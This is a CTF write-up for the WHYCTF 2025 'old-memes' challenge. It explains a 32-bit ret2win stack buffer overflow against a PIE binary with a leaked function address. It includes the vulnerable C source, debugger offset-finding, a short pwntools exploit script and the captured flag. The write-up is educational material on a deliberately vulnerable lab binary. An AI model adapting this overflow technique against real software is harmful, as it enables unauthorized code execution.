139 lines
5.1 KiB
Markdown
139 lines
5.1 KiB
Markdown
---
|
|
title: "WHYCTF 2025: old-memes"
|
|
excerpt: "Classic 32-bit x86 ELF ret2win exploit (stack buffer overflow) with Position Independent Executable"
|
|
tags: [ctf, pwn]
|
|
---
|
|
|
|
As usual, we'll begin by analyzing the executable features and architecture:
|
|
|
|
```
|
|
$ file old-memes
|
|
old-memes: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=c315155fad7db7cae0003de733ec91e47c0dba89, for GNU/Linux 3.2.0, not stripped
|
|
```
|
|
|
|
We're dealing with a 32-bit executable this time. I've gotten more used to 64-bit recently, but this should be no problem. We can also take a look at the enabled security features:
|
|
|
|
```
|
|
pwndbg> checksec
|
|
File: /home/qelal/WHY2025ctf/OldMemesNeverDie/old-memes
|
|
Arch: i386
|
|
RELRO: Partial RELRO
|
|
Stack: No canary found
|
|
NX: NX enabled
|
|
PIE: PIE enabled
|
|
Stripped: No
|
|
```
|
|
|
|
It is the first time that I will deal with a PIE-enabled file. To make things clear, PIE stands for "Position Independant Executable"; which basically means, the system will load the program at a different address every time it is run (using ASLR: Address Space Layout Randomization). This is a problem for us because it will be harder to get the addresses of the symbols we will work with.
|
|
|
|
Let's run the program to see its behavior:
|
|
|
|
```
|
|
$ ./old-memes
|
|
(do with this information what you want, but the print_flag function can be found here: 0x565ff1ed)
|
|
What is your name?
|
|
> ^C
|
|
$ ./old-memes
|
|
(do with this information what you want, but the print_flag function can be found here: 0x565e01ed)
|
|
What is your name?
|
|
```
|
|
|
|
The programmer was really kind and gave us the address of a `print_flag` function at startup. We can clearly see here that the address changes for each execution. Let's take a look into the source code now:
|
|
|
|
```c
|
|
int print_flag(){
|
|
// does what it's supposed to do, redacted here
|
|
}
|
|
|
|
int ask_what(){
|
|
char what[8];
|
|
char check[6] = "what?";
|
|
|
|
printf("\n\nWhat is your name?\n> ");
|
|
fgets(what, sizeof(what), stdin);
|
|
what[strcspn(what, "\r\n")] = 0;
|
|
if (strcmp(check, what) != 0)
|
|
return 1;
|
|
return 0;
|
|
}
|
|
|
|
int ask_name(){
|
|
char name[30];
|
|
printf("\n\nWhat is your name?\n> ");
|
|
fgets(name, 0x30, stdin);
|
|
name[strcspn(name, "\r\n")] = 0;
|
|
printf("F* YOU %s!\n", name);
|
|
}
|
|
|
|
int main(){
|
|
setbuf(stdout, 0);
|
|
printf("(do with this information what you want, but the print_flag function can be found here: %p)\n", print_flag);
|
|
|
|
if(ask_what())
|
|
return 1;
|
|
ask_name();
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
At first glance we can see that the first function we enter after main is `ask_what`; a string comparison is done and if we enter `what?` we get into another function, called `ask_name`. This function hosts a buffer overflow: indeed, the programmer allocated 30 bytes for the `name` string, but gave `0x30` to the `fgets` function, the safe replacement for the very unsafe `gets` we know from past challenges.
|
|
|
|
It is obvious that 30 in decimal and its hexadecimal representation are not the same number; the latter being 48 decimal. This allows for 18 bytes of overflow.
|
|
|
|
To confirm this hypothesis we can try to enter a big enough amount of bytes when we enter the insecure prompt:
|
|
|
|
```
|
|
$ ./old-memes
|
|
(do with this information what you want, but the print_flag function can be found here: 0x5657c1ed)
|
|
What is your name?
|
|
> what?
|
|
What is your name?
|
|
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
F* YOU AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
|
|
[1] 12233 segmentation fault (core dumped) ./old-memes
|
|
```
|
|
|
|
A segfault occurs, which means the program tried to access an invalid address, because, of course, `0x41414141 (AAAA)` isn't mapped.
|
|
|
|
We can trigger a controlled segfault in pwndbg to find the exact EIP (extended instruction pointer) offset, which normally holds the return address to the function we were called from; in this case, `main`, but we'll modify it to reach the `print_flag` function.
|
|
|
|
After generating a cyclic pattern, injecting it, and observing the EIP value `0x616c6161 ('aala')` we find the offset:
|
|
|
|
```
|
|
pwndbg> cyclic -l aala
|
|
Finding cyclic pattern of 4 bytes: b'aala' (hex: 0x61616c61)
|
|
Found at offset 42
|
|
```
|
|
|
|
We can demonstrate that this offset is correct by injecting arbitrary controlled data, like four 'B' characters:
|
|
|
|
```bash
|
|
$ python3 -c "print('A'*42+'B'*4)"
|
|
```
|
|
And indeed, pwndbg shows us `EIP 0x42424242 ('BBBB')`. We are good to go.
|
|
|
|
What I bascially did from there was scraping the address given in text by the program, converting it to little-endian (because the architecture here is x86) and building a small pwntools script. Here's the exploit code (stripped from boilerplate):
|
|
|
|
```python
|
|
offset = 42
|
|
|
|
io = start()
|
|
|
|
info_line = io.recvline()
|
|
print_flag_addr = bytes.fromhex(info_line[-10:-2].decode())[::-1]
|
|
print(print_flag_addr)
|
|
|
|
io.sendlineafter(b'> ', "what?")
|
|
io.sendlineafter(b'> ', b'A'*offset+print_flag_addr)
|
|
|
|
io.interactive()
|
|
```
|
|
|
|
And it worked first try!
|
|
|
|
```
|
|
$ python exploit.py REMOTE old-memes-never-die.ctf.zone 4242
|
|
F* YOU AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfd1}[!
|
|
F* YOU and your flag: flag{f648a34020ffba10cc5cfc9bd2240725}
|
|
```
|